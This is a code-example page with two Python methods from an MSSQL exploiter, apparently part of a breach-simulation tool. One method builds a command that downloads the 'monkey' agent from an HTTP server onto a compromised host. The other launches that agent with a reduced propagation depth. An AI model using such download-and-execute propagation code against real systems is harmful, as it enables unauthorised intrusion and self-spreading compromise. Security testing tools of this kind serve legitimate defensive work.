Exemplo n.º 1
0
 def get_monkey_download_command(self):
     dst_path = get_monkey_dest_path(self.monkey_server.http_path)
     monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND. \
         format(http_path=self.monkey_server.http_path, dst_path=dst_path)
     prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
     suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
     return MSSQLLimitedSizePayload(command=monkey_download_command,
                                    suffix=suffix,
                                    prefix=prefix)
Exemplo n.º 2
0
 def get_monkey_launch_command(self):
     dst_path = get_monkey_dest_path(self.monkey_server.http_path)
     # Form monkey's launch command
     monkey_args = build_monkey_commandline(self.host,
                                            get_monkey_depth() - 1,
                                            dst_path)
     suffix = ">>{}".format(self.payload_file_path)
     prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
     return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args),
                                    prefix=prefix,
                                    suffix=suffix)